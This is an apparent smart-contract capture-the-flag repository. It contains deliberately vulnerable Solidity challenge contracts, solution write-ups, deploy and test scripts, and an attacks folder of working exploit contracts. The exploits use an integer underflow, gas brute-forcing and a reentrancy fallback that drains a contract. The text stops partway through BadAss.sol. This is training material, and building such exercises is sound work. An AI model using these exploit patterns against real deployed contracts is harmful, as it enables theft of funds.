├── .gitignore ├── contracts ├── attacks │ ├── opcodesv2Attack.sol │ ├── opcodesAttack.sol │ ├── gumpyAttack.sol │ ├── houseAttack.sol │ ├── kingAttack.sol │ ├── attackItSDoneIn2Sec.sol │ └── attackSubway.sol └── levels │ ├── op-codes_v2 │ ├── Modifier.sol │ ├── Solution.md │ ├── Wallet.sol │ ├── README.md │ ├── Justin.sol │ └── GuessTheValue.sol │ ├── badAss │ ├── Solution.md │ ├── README.md │ └── BadAss.sol │ ├── op-codes │ ├── Solution.md │ ├── README.md │ ├── Wallet.sol │ ├── Gamble.sol │ └── GuessTheValue.sol │ └── ultimate │ ├── House.sol │ ├── Gumpy.sol │ ├── ItSDoneIn2Sec.sol │ ├── Ultimate.sol │ ├── Solution.md │ ├── Subway.sol │ └── README.md ├── .env ├── Dockerfile ├── tests_and_init ├── utils │ ├── connection.js │ ├── getBalance.js │ ├── sendTransaction.js │ ├── compileContract.js │ └── deployContract.js └── levels │ ├── badAssInit.js │ ├── badAssTest.js │ ├── ultimateTest.js │ ├── opcodesInit.js │ ├── opcodesv2Init.js │ ├── opcodesTest.js │ └── ultimateInit.js ├── package.json ├── index.js ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules -------------------------------------------------------------------------------- /contracts/attacks/opcodesv2Attack.sol: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.env: -------------------------------------------------------------------------------- 1 | NODE_KEY= 2 | ETHERSCAN_API_KEY= 3 | PRIVATE_KEY= 4 | PUBLIC_KEY= -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:alpine 2 | 3 | RUN npm i npm@latest -g 4 | 5 | WORKDIR /app 6 | ADD . . 7 | RUN npm install -------------------------------------------------------------------------------- /tests_and_init/utils/connection.js: -------------------------------------------------------------------------------- 1 | const Web3 = require("web3") 2 | const testnet = process.env.NODE_KEY; 3 | 4 | const web3 = new Web3(new Web3.providers.HttpProvider(testnet)); 5 | 6 | module.exports = web3; -------------------------------------------------------------------------------- /contracts/attacks/opcodesAttack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | contract OpCodesAttack { 4 | constructor() public { 5 | assembly { 6 | 7 | mstore(0, 0x602a60005260206000f3) 8 | return(0x16, 0x0a) 9 | } 10 | } 11 | } -------------------------------------------------------------------------------- /tests_and_init/utils/getBalance.js: -------------------------------------------------------------------------------- 1 | const web3 = require('./connection'); 2 | 3 | async function getBalance(address) { 4 | let balanceAmount = await web3.eth.getBalance(address); 5 | 6 | return balanceAmount; 7 | } 8 | 9 | module.exports = getBalance; -------------------------------------------------------------------------------- /contracts/levels/op-codes_v2/Modifier.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | contract Modifier { 4 | 5 | modifier onlyJustin(address _justinAddress) { 6 | require(msg.sender == _justinAddress); 7 | _; 8 | _justinAddress = msg.sender; 9 | } 10 | 11 | } -------------------------------------------------------------------------------- /contracts/levels/badAss/Solution.md: -------------------------------------------------------------------------------- 1 | # BadAss 2 | 3 | ## Solution : 4 | 5 | To validate this challenge, all you have to do is find the password which is encrypted with the keccak256 procedure and find the good amount of ther to send and finally set up a revert system so that the owner can't reclaim the challenge. -------------------------------------------------------------------------------- /contracts/attacks/gumpyAttack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | import "./gumpy.sol"; 4 | 5 | contract Attack { 6 | 7 | function exploit(address _gumpyAdress) public { 8 | Gumpy gumpyContract = Gumpy(_gumpyAdress); 9 | 10 | gumpyContract.giveWaterToGrumpy(-128); 11 | gumpyContract.giveWaterToGrumpy(-28); 12 | } 13 | 14 | } -------------------------------------------------------------------------------- /contracts/levels/op-codes/Solution.md: -------------------------------------------------------------------------------- 1 | # Op-codes 2 | 3 | ## Solution : 4 | 5 | To validate this challenge, all you have to do is create a contract with less than 10 op-codes that needs to return a number you set. Then you need to call setInterface from GuessTheValue contract with the address of the contract you created. Finally, call guess from the Game contract with 0.01 eth as value and a number equal to the one you return in the interface. -------------------------------------------------------------------------------- /contracts/levels/op-codes_v2/Solution.md: -------------------------------------------------------------------------------- 1 | # Op-codes v2 2 | 3 | ## Solution : 4 | 5 | To validate this challenge, all you have to do is create a contract with less than 10 op-codes that needs to return a number you set. Then you need to call setInterface from GuessTheValue contract with the address of the contract you created. Finally, call guess from the Justin contract with 0.01 eth as value and a number equal to the one you return in the interface. -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "tests", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "start": "node index.js", 8 | "test": "node index.js test", 9 | "init": "node index.js init" 10 | }, 11 | "author": "", 12 | "license": "ISC", 13 | "dependencies": { 14 | "axios": "^0.19.2", 15 | "dotenv": "^10.0.0", 16 | "solc": "^0.6.0", 17 | "web3": "^1.5.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /tests_and_init/levels/badAssInit.js: -------------------------------------------------------------------------------- 1 | const deployContract = require('../utils/deployContract'); 2 | const fs = require('fs'); 3 | 4 | async function BadAssInit() { 5 | const sources = { 6 | 'BadAss.sol': { 7 | content: fs.readFileSync('./contracts/levels/badAss/BadAss.sol', 'utf8'), 8 | } 9 | }; 10 | await deployContract(sources, 'BadAss.sol', 'BadAss', '1000000000000000000', ['password']); 11 | } 12 | 13 | module.exports = BadAssInit; -------------------------------------------------------------------------------- /contracts/levels/op-codes_v2/Wallet.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | import "./Modifier.sol"; 4 | 5 | contract Wallet is Modifier { 6 | 7 | address private justinAddress; 8 | 9 | constructor() public { 10 | justinAddress = msg.sender; 11 | } 12 | 13 | function giveFunds(uint256 _amount, address payable _user) external onlyJustin(justinAddress) { 14 | _user.transfer(_amount); 15 | } 16 | 17 | receive() external payable {} 18 | 19 | } -------------------------------------------------------------------------------- /contracts/levels/op-codes/README.md: -------------------------------------------------------------------------------- 1 | # Op-codes 2 | 3 | ## Exploit approached : 4 | 5 | The main purpose of this challenge is to discover how op-codes works for etherum and how you can use them. 6 | 7 | ## Goal : 8 | 9 | This is a gambling contract where you can MULTIPLY YOUR BET BY 100X, quite amazing right ? Of course there is a trick. 10 | To validate this challenge, you must empty the Wallet contract by taking the whole etherum from it. 11 | 12 | ## [Solution](./Solution.md) -------------------------------------------------------------------------------- /tests_and_init/levels/badAssTest.js: -------------------------------------------------------------------------------- 1 | const web3 = require('../utils/connection'); 2 | 3 | async function badAssTest(instanceAddress) { 4 | const badAss = await web3.eth.getStorageAt(instanceAddress, 0); 5 | const owner = await web3.eth.getStorageAt(instanceAddress, 2); 6 | 7 | if (badAss != owner) { 8 | console.log("BadAss challenge solved!!!"); 9 | } else { 10 | console.log("BadAss challenge not solved!!!"); 11 | } 12 | } 13 | 14 | module.exports = badAssTest; -------------------------------------------------------------------------------- /contracts/attacks/houseAttack.sol: -------------------------------------------------------------------------------- 1 | contract ByPassHouse { 2 | 3 | address payable originalContract; 4 | 5 | constructor(address payable _originalContract) public payable { 6 | originalContract = _originalContract; 7 | } 8 | 9 | function exploit(bytes32 _password) public payable { 10 | bytes memory payload = abi.encodeWithSignature("openTheHouse(bytes32)", _password); 11 | originalContract.call.value(msg.value)(payload); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /tests_and_init/levels/ultimateTest.js: -------------------------------------------------------------------------------- 1 | const web3 = require('../utils/connection'); 2 | 3 | async function ultimateTest(instanceAddress) { 4 | const owner = await web3.eth.getStorageAt(instanceAddress, 1); 5 | const realOwner = await web3.eth.getStorageAt(instanceAddress, 0); 6 | 7 | if (realOwner != owner) { 8 | console.log("Ultimate challenge solved!!!"); 9 | } else { 10 | console.log("Ultimate challenge not solved!!!"); 11 | } 12 | } 13 | 14 | module.exports = ultimateTest; -------------------------------------------------------------------------------- /contracts/levels/op-codes/Wallet.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | contract Wallet { 4 | 5 | address private gambleAddress; 6 | 7 | constructor() public { 8 | gambleAddress = msg.sender; 9 | } 10 | 11 | modifier onlyGamble { 12 | require(msg.sender == gambleAddress); 13 | _; 14 | } 15 | 16 | function giveFunds(uint256 _amount, address payable _user) external onlyGamble { 17 | _user.transfer(_amount); 18 | } 19 | 20 | receive() external payable {} 21 | 22 | } -------------------------------------------------------------------------------- /contracts/levels/op-codes_v2/README.md: -------------------------------------------------------------------------------- 1 | # Op-codes v2 2 | 3 | ## Exploit approached : 4 | 5 | The main purpose of this challenge is to discover how op-codes works for etherum, how you can use them and how to read hidden and complex code. 6 | 7 | ## Goal : 8 | 9 | This is a gambling contract where you can MULTIPLY YOUR BET BY 100X, quite amazing right ? Of course there is a trick. 10 | To validate this challenge, you must empty the Wallet contract by taking the whole etherum from it. 11 | 12 | ## [Solution](./Solution.md) -------------------------------------------------------------------------------- /contracts/attacks/kingAttack.sol: -------------------------------------------------------------------------------- 1 | contract AttackBadAss { 2 | 3 | address payable originalContract; 4 | 5 | constructor(address payable _originalContract) public payable { 6 | originalContract = _originalContract; 7 | } 8 | 9 | function exploit(string memory _password) public payable { 10 | bytes memory payload = abi.encodeWithSignature("takeOwnerShip(string)", _password); 11 | originalContract.call.value(msg.value).gas(100000)(payload); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /tests_and_init/utils/sendTransaction.js: -------------------------------------------------------------------------------- 1 | const web3 = require('./connection'); 2 | 3 | async function sendTransaction(to, value, gas, data) { 4 | const transaction = { 5 | 'from' : process.env.PUBLIC_KEY, 6 | 'to': to, 7 | 'value': value, 8 | 'gas': gas, 9 | 'data' : data 10 | }; 11 | const signedTx = await web3.eth.accounts.signTransaction(transaction, process.env.PRIVATE_KEY); 12 | 13 | return await web3.eth.sendSignedTransaction(signedTx.rawTransaction); 14 | } 15 | 16 | module.exports = sendTransaction; -------------------------------------------------------------------------------- /tests_and_init/utils/compileContract.js: -------------------------------------------------------------------------------- 1 | const solc = require('solc'); 2 | 3 | function compileContract(sources, fileName, contractName) { 4 | const input = { 5 | language: 'Solidity', 6 | sources: sources, 7 | settings: { 8 | outputSelection: { 9 | '*': { 10 | '*': ['*'], 11 | }, 12 | }, 13 | }, 14 | }; 15 | const tempFile = JSON.parse(solc.compile(JSON.stringify(input))); 16 | 17 | return tempFile.contracts[fileName][contractName]; 18 | } 19 | 20 | module.exports = compileContract; -------------------------------------------------------------------------------- /contracts/attacks/attackItSDoneIn2Sec.sol: -------------------------------------------------------------------------------- 1 | contract ByPassItsDoneIn2Sec { 2 | 3 | ItSDoneIn2Sec originalContract; 4 | 5 | constructor(address payable _originalContract) public { 6 | originalContract =ItSDoneIn2Sec(_originalContract); 7 | } 8 | 9 | function exploit() public { 10 | for (uint256 i = 0; i < 350; i++) { 11 | (bool ret, bytes memory data) = address(originalContract).call.gas(i + 984*3)(abi.encodeWithSignature('ItSSuperEasy()')); 12 | if (ret) 13 | break; 14 | } 15 | } 16 | 17 | } 18 | -------------------------------------------------------------------------------- /contracts/levels/badAss/README.md: -------------------------------------------------------------------------------- 1 | # BadAss 2 | 3 | ## Exploit approached : 4 | 5 | The first challenge named "BadAss" is a challenge using the revert exploit in a receive function. This challenge is inspired by the "King" challenge on Ethernaut and the "King of the Ether" game mechanics. 6 | 7 | ## Goal : 8 | 9 | The BadAss is the person who found the good password and the good amount of ether to send. A the start of the challenge, the BadAss is the person who deployed the contract. 10 | To validate this challenge, the BadAss musn't be the owner, however an additional mechanic is added, the reclaim mechanics. The reclaim is done by the owner 11 | 12 | ## [Solution](./Solution.md) -------------------------------------------------------------------------------- /tests_and_init/levels/opcodesInit.js: -------------------------------------------------------------------------------- 1 | const deployContract = require('../utils/deployContract'); 2 | const fs = require('fs'); 3 | 4 | async function opcodesInit() { 5 | const sources = { 6 | 'Gamble.sol': { 7 | content: fs.readFileSync('./contracts/levels/op-codes/Gamble.sol', 'utf8'), 8 | }, 9 | 'GuessTheValue.sol': { 10 | content: fs.readFileSync('./contracts/levels/op-codes/GuessTheValue.sol', 'utf8'), 11 | }, 12 | 'Wallet.sol': { 13 | content: fs.readFileSync('./contracts/levels/op-codes/Wallet.sol', 'utf8'), 14 | } 15 | }; 16 | await deployContract(sources, 'Gamble.sol', 'Gamble', '1000000000000000000', null); 17 | } 18 | 19 | module.exports = opcodesInit; -------------------------------------------------------------------------------- /tests_and_init/levels/opcodesv2Init.js: -------------------------------------------------------------------------------- 1 | const deployContract = require('../utils/deployContract'); 2 | const fs = require('fs'); 3 | 4 | async function opcodesV2Init() { 5 | const sources = { 6 | 'Justin.sol': { 7 | content: fs.readFileSync('./contracts/levels/op-codes_v2/Justin.sol', 'utf8'), 8 | }, 9 | 'GuessTheValue.sol': { 10 | content: fs.readFileSync('./contracts/levels/op-codes_v2/GuessTheValue.sol', 'utf8'), 11 | }, 12 | 'Modifier.sol': { 13 | content: fs.readFileSync('./contracts/levels/op-codes_v2/Modifier.sol', 'utf8'), 14 | }, 15 | 'Wallet.sol': { 16 | content: fs.readFileSync('./contracts/levels/op-codes_v2/Wallet.sol', 'utf8'), 17 | } 18 | }; 19 | await deployContract(sources, 'Justin.sol', 'Justin', '1000000000000000000', null); 20 | } 21 | 22 | module.exports = opcodesV2Init; -------------------------------------------------------------------------------- /contracts/attacks/attackSubway.sol: -------------------------------------------------------------------------------- 1 | contract ByPassSubway { 2 | Subway originalContract; 3 | 4 | constructor (address payable _originalContract) public { 5 | originalContract = Subway(_originalContract); 6 | } 7 | 8 | function credit() public payable { 9 | bytes memory payload = abi.encodeWithSignature("credit()"); 10 | address(originalContract).call.value(msg.value)(payload); 11 | } 12 | 13 | function exploit() public { 14 | originalContract.buyTickets(1); 15 | originalContract.checkSecurity(); 16 | } 17 | 18 | function getBalanceOfContract() public view returns (uint256) { 19 | return (address(this).balance); 20 | } 21 | 22 | function withdrawAllTheBalance(address payable _to) public { 23 | _to.transfer(address(this).balance); 24 | } 25 | 26 | fallback () external payable { 27 | originalContract.checkSecurity(); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /tests_and_init/levels/opcodesTest.js: -------------------------------------------------------------------------------- 1 | const getBalance = require('../utils/getBalance'); 2 | const axios = require('axios'); 3 | 4 | async function getWalletAddress(instanceAddress) { 5 | const response = await axios.get('https://api-rinkeby.etherscan.io/api?module=account&action=txlistinternal&address=' + instanceAddress + '&startblock=0&endblock=99999999&sort=asc&apikey=' + process.env.ETHERSCAN_API_KEY); 6 | 7 | for (let data of response.data.result) { 8 | if (data.value == 1000000000000000000) { 9 | return data.to; 10 | } 11 | } 12 | } 13 | 14 | async function opcodesTest(instanceAddress) { 15 | const walletAddress = await getWalletAddress(instanceAddress); 16 | const etherumAmount = await getBalance(walletAddress); 17 | 18 | if (etherumAmount == 0) { 19 | console.log("Op-codes challenge solved!!!"); 20 | } else { 21 | console.log("Op-codes challenge not solved!!!"); 22 | } 23 | } 24 | 25 | module.exports = opcodesTest; -------------------------------------------------------------------------------- /tests_and_init/utils/deployContract.js: -------------------------------------------------------------------------------- 1 | const web3 = require('../utils/connection'); 2 | const compileContract = require('../utils/compileContract'); 3 | const sendTransaction = require('../utils/sendTransaction'); 4 | 5 | async function deployContract(sources, fileName, contractName, value, args) { 6 | let contractFile = compileContract(sources, fileName, contractName); 7 | const bytecode = contractFile.evm.bytecode.object; 8 | const abi = contractFile.abi; 9 | 10 | console.log('Attempting to deploy contract:', contractName, 'from account:', process.env.PUBLIC_KEY); 11 | const incrementer = new web3.eth.Contract(abi); 12 | const incrementerTx = incrementer.deploy({ data: bytecode, arguments: args }); 13 | let createReceipt = await sendTransaction(null, value, '3000000', incrementerTx.encodeABI()); 14 | console.log('Contract deployed at address', createReceipt.contractAddress); 15 | return createReceipt.contractAddress; 16 | } 17 | 18 | module.exports = deployContract; -------------------------------------------------------------------------------- /contracts/levels/op-codes_v2/Justin.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | import "./GuessTheValue.sol"; 4 | import "./Wallet.sol"; 5 | 6 | contract Justin { 7 | 8 | address private owner; 9 | Wallet private walletContract; 10 | GuessTheValue private guessTheValueContract; 11 | 12 | constructor() public payable { 13 | owner = msg.sender; 14 | walletContract = new Wallet(); 15 | guessTheValueContract = new GuessTheValue(); 16 | address(walletContract).transfer(msg.value); 17 | } 18 | 19 | function guess(uint8 _number) public payable { 20 | require(_number <= 100); 21 | require(msg.value != 0); 22 | require(msg.value * 100 <= address(walletContract).balance); 23 | address(walletContract).transfer(msg.value); 24 | 25 | if (guessTheValueContract.david() == _number) { 26 | walletContract.giveFunds(msg.value * 101, msg.sender); 27 | } 28 | } 29 | 30 | receive() external payable {} 31 | 32 | } -------------------------------------------------------------------------------- /tests_and_init/levels/ultimateInit.js: -------------------------------------------------------------------------------- 1 | const deployContract = require('../utils/deployContract'); 2 | const fs = require('fs'); 3 | 4 | async function ultimateInit() { 5 | const sources = { 6 | 'Ultimate.sol': { 7 | content: fs.readFileSync('./contracts/levels/ultimate/Ultimate.sol', 'utf8'), 8 | }, 9 | 'Gumpy.sol': { 10 | content: fs.readFileSync('./contracts/levels/ultimate/Gumpy.sol', 'utf8'), 11 | }, 12 | 'House.sol': { 13 | content: fs.readFileSync('./contracts/levels/ultimate/House.sol', 'utf8'), 14 | }, 15 | 'ItSDoneIn2Sec.sol': { 16 | content: fs.readFileSync('./contracts/levels/ultimate/ItSDoneIn2Sec.sol', 'utf8'), 17 | }, 18 | 'Subway.sol': { 19 | content: fs.readFileSync('./contracts/levels/ultimate/Subway.sol', 'utf8'), 20 | } 21 | }; 22 | await deployContract(sources, 'Ultimate.sol', 'Ultimate', '1200000000000000000', null); 23 | } 24 | 25 | module.exports = ultimateInit; -------------------------------------------------------------------------------- /contracts/levels/op-codes/Gamble.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | import "./GuessTheValue.sol"; 4 | import "./Wallet.sol"; 5 | 6 | contract Gamble { 7 | 8 | address private owner; 9 | Wallet private walletContract; 10 | GuessTheValue private guessTheValueContract; 11 | 12 | constructor() public payable { 13 | owner = msg.sender; 14 | walletContract = new Wallet(); 15 | guessTheValueContract = new GuessTheValue(); 16 | address(walletContract).transfer(msg.value); 17 | } 18 | 19 | function guess(uint8 _number) public payable { 20 | require(_number <= 100); 21 | require(msg.value != 0); 22 | require(msg.value * 100 <= address(walletContract).balance); 23 | address(walletContract).transfer(msg.value); 24 | 25 | if (guessTheValueContract.getTheRandomValue() == _number) { 26 | walletContract.giveFunds(msg.value * 101, msg.sender); 27 | } 28 | } 29 | 30 | receive() external payable {} 31 | 32 | } -------------------------------------------------------------------------------- /contracts/levels/ultimate/House.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | contract House { 4 | 5 | address private owner; 6 | address private mainContract; 7 | uint256 public etherAmount; 8 | bool public lockedHouse = true; 9 | bytes32 private password; 10 | 11 | constructor(bytes32 _password, address _mainContract, uint256 _etherAmount) public { 12 | password = keccak256(abi.encodePacked(_password)); 13 | etherAmount = _etherAmount; 14 | owner = msg.sender; 15 | mainContract = _mainContract; 16 | } 17 | 18 | function openTheHouse(bytes32 _password) public payable { 19 | if (keccak256(abi.encodePacked(_password)) == password) { 20 | lockedHouse = false; 21 | address(mainContract).call(abi.encodeWithSignature("setOrder(uint8)", 1)); 22 | } 23 | } 24 | 25 | function youCanWithdrawAllTheBalance(address payable _to) public { 26 | _to.transfer(address(this).balance); 27 | } 28 | 29 | } 30 | -------------------------------------------------------------------------------- /contracts/levels/ultimate/Gumpy.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | contract Gumpy { 4 | 5 | address private owner; 6 | address private mainContract; 7 | int8 public currentWaterAmount = 0; 8 | int8 targetWaterAmount = 100; 9 | 10 | constructor(address _mainContract) public { 11 | owner = msg.sender; 12 | mainContract = _mainContract; 13 | } 14 | 15 | modifier onlyOwner() { 16 | require(msg.sender == owner); 17 | _; 18 | } 19 | 20 | function giveWaterToGrumpy(int8 _waterAmount) public { 21 | 22 | int8 maximumAmountGiven = 20; 23 | 24 | require(_waterAmount < maximumAmountGiven, "Too many water for grumpy"); 25 | require(int16(currentWaterAmount) + int16(_waterAmount) < int16(targetWaterAmount)); 26 | 27 | currentWaterAmount += _waterAmount; 28 | 29 | if (currentWaterAmount == targetWaterAmount) 30 | address(mainContract).call(abi.encodeWithSignature("ilfautunnom(uint8)", 3)); 31 | } 32 | 33 | } -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | require('dotenv').config(); 2 | const BadAssInit = require('./tests_and_init/levels/badAssInit'); 3 | const opcodesInit = require('./tests_and_init/levels/opcodesInit'); 4 | const opcodesV2Init = require('./tests_and_init/levels/opcodesv2Init'); 5 | const ultimateInit = require('./tests_and_init/levels/ultimateInit'); 6 | const opcodesTest = require('./tests_and_init/levels/opcodesTest'); 7 | const ultimateTest = require('./tests_and_init/levels/ultimateTest'); 8 | const badAssTest = require('./tests_and_init/levels/badAssTest'); 9 | 10 | var init = { 11 | "badAss" : BadAssInit, 12 | "opcodes_v2" : opcodesV2Init, 13 | "opcodes" : opcodesInit, 14 | "ultimate" : ultimateInit 15 | }; 16 | 17 | var test = { 18 | "badAss" : badAssTest, 19 | "opcodes" : opcodesTest, 20 | "ultimate" : ultimateTest 21 | }; 22 | 23 | (async () => { 24 | let args = process.argv; 25 | 26 | switch (args[2]) { 27 | case "init": 28 | await init[args[3]](); 29 | break; 30 | case "test": 31 | await test[args[3]](args[4]); 32 | break; 33 | } 34 | })(); -------------------------------------------------------------------------------- /contracts/levels/op-codes/GuessTheValue.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | import "./Wallet.sol"; 4 | 5 | interface Guess { 6 | 7 | function random() external pure returns (uint8); 8 | 9 | } 10 | 11 | contract GuessTheValue { 12 | 13 | address private gambleAddress; 14 | Guess guessInterface; 15 | 16 | constructor() public { 17 | gambleAddress = msg.sender; 18 | } 19 | 20 | modifier onlyGamble { 21 | require(msg.sender == gambleAddress); 22 | _; 23 | } 24 | 25 | modifier checkInstructions(Guess _contractToCheck) { 26 | uint256 size; 27 | 28 | assembly { 29 | size := extcodesize(_contractToCheck) 30 | } 31 | require(size <= 10); 32 | _; 33 | } 34 | 35 | function setInterface(address _guessAddress) public { 36 | guessInterface = Guess(_guessAddress); 37 | } 38 | 39 | function getTheRandomValue() external view onlyGamble checkInstructions(guessInterface) returns (uint8) { 40 | return (guessInterface.random()); 41 | } 42 | 43 | } -------------------------------------------------------------------------------- /contracts/levels/op-codes_v2/GuessTheValue.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | import "./Wallet.sol"; 4 | import "./Modifier.sol"; 5 | 6 | interface Devops199 { 7 | 8 | function vitalik() external pure returns (uint8); 9 | 10 | } 11 | 12 | contract GuessTheValue { 13 | 14 | address private justinAddress; 15 | Devops199 devops199Interface; 16 | 17 | constructor() public { 18 | justinAddress = msg.sender; 19 | } 20 | 21 | modifier onlyJustin { 22 | require(msg.sender == justinAddress); 23 | _; 24 | } 25 | 26 | function satoshi(address _guessAddress) public { 27 | require(msg.sender != tx.origin); 28 | 29 | devops199Interface = Devops199(_guessAddress); 30 | } 31 | 32 | modifier dan(Devops199 _ada) { 33 | uint256 fees; 34 | 35 | assembly { 36 | fees := extcodesize(_ada) 37 | } 38 | require(fees <= 10); 39 | _; 40 | } 41 | 42 | function david() external view onlyJustin dan(devops199Interface) returns (uint8) { 43 | return (devops199Interface.vitalik()); 44 | } 45 | 46 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 PoC 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /contracts/levels/ultimate/ItSDoneIn2Sec.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | //import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/math/SafeMath.sol"; 4 | //import '@openzeppelin/contracts/math/SafeMath.sol'; 5 | 6 | contract ItSDoneIn2Sec { 7 | 8 | //using SafeMath for uint256; 9 | address payable public entrant; 10 | address payable private owner; 11 | address private mainContract; 12 | 13 | constructor(address _mainContract) public { 14 | entrant = msg.sender; 15 | owner = msg.sender; 16 | mainContract = _mainContract; 17 | } 18 | 19 | modifier onlyOwner() { 20 | require(msg.sender == owner); 21 | _; 22 | } 23 | 24 | modifier gasConsume() { 25 | require (msg.sender != tx.origin); 26 | _; 27 | } 28 | 29 | modifier isNotAContract() { 30 | require((gasleft() % 984) == 0); 31 | _; 32 | } 33 | 34 | function ItSSuperEasy() public isNotAContract gasConsume { 35 | entrant = msg.sender; 36 | if (owner != entrant) 37 | address(mainContract).call(abi.encodeWithSignature("setOrder(uint8)", 2)); 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /contracts/levels/ultimate/Ultimate.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | import "./Subway.sol"; 4 | import "./House.sol"; 5 | import "./ItSDoneIn2Sec.sol"; 6 | import "./Gumpy.sol"; 7 | 8 | contract Ultimate { 9 | 10 | address private owner; 11 | address private realOwner; 12 | Subway private subwayContract; 13 | House private houseContract; 14 | ItSDoneIn2Sec private easyContract; 15 | Gumpy private gumpyContract; 16 | uint8 public count = 0; 17 | uint8 [4] public order = [0, 0, 0, 0]; 18 | 19 | constructor() public payable { 20 | realOwner = msg.sender; 21 | owner = msg.sender; 22 | subwayContract = (new Subway).value(0.001 ether)(address(this)); 23 | houseContract = (new House)(0x48692c2074686973206973206d79206c6f636b656420686f7573652120203a29, address(this), 1 ether); 24 | easyContract = (new ItSDoneIn2Sec)(address(this)); 25 | gumpyContract = (new Gumpy)(address(this)); 26 | } 27 | 28 | modifier onlyOwner() { 29 | require(tx.origin == owner); 30 | _; 31 | } 32 | 33 | function claim() public { 34 | uint8 [4] memory realOrder = [1, 3, 0, 2]; 35 | 36 | for (uint i = 0; i < 4; i++) { 37 | require(order[i] == realOrder[i], "Bad order"); 38 | } 39 | owner = msg.sender; 40 | } 41 | 42 | function setOrder(uint8 idChall) public onlyOwner { 43 | require(count < 4, "It's not good !!"); 44 | order[count] = idChall; 45 | count += 1; 46 | } 47 | 48 | } 49 | -------------------------------------------------------------------------------- /contracts/levels/ultimate/Solution.md: -------------------------------------------------------------------------------- 1 | # Ultimate 2 | 3 | ## Gumpy 4 | 5 | ### Solution 6 | 7 | To validate this challenge, it's necessary to give a quantity of water to "Gumpy" equal to the limit that it can receive, however this limit can't be reached with an addition of positive unit. 8 | So to validate this challenge, you have to give a certain number of negative unit in order to create an underflow to be able to reach the value of the maximum quantity of water that can be given to "Gumpy". 9 | 10 | ## ItSDoneIn2Sec 11 | 12 | ### Solution 13 | 14 | To validate this challenges, there is many possibilities the first one is by making a brut force, so testing many values of gas or calculing the consumption of gas of the contract until the condition of the gas left using the debugging of the contract. 15 | 16 | ## House 17 | 18 | ### Solution 19 | 20 | To validate this challenge, we need to read the variable containing the amount of ethers to send and read the variable containing the encrypted password. Afterwards it's necessary to find the good password by making a brut force in order to find the equivalent password to the encrypted one. 21 | 22 | ## Subway 23 | 24 | ### Solution 25 | 26 | To validate this challenge, we need in a first time, to credit our client account and buy a ticket. 27 | After that, we need to add in our contract a call to the function to pass the security in a fallback/ receive function, which allows when we receive some ethers to recall automatically in the same transaction, the sale function. 28 | Once the contract is empty, the challenge is validated. -------------------------------------------------------------------------------- /contracts/levels/badAss/BadAss.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | contract BadAss { 4 | 5 | address payable public badass; 6 | address payable private sender; 7 | address payable public owner; 8 | uint256 private prize; 9 | bytes32 private password; 10 | 11 | constructor(string memory _password) public payable { 12 | owner = msg.sender; 13 | badass = msg.sender; 14 | prize = msg.value; 15 | password = keccak256(abi.encodePacked(_password)); 16 | } 17 | 18 | modifier isContract() { 19 | sender = msg.sender; 20 | if (msg.sender != owner) { 21 | if (msg.sender == tx.origin) { 22 | sender.transfer(msg.value); 23 | revert("The sender is not a contract"); 24 | } 25 | } 26 | _; 27 | } 28 | 29 | modifier goodEtherAmount() { 30 | sender = msg.sender; 31 | if (msg.value != prize) { 32 | sender.transfer(msg.value); 33 | revert("Bad ether amount sent"); 34 | } 35 | _; 36 | } 37 | 38 | modifier goodPassword(string memory _password) { 39 | sender = msg.sender; 40 | if (keccak256(abi.encodePacked(_password)) != password) { 41 | 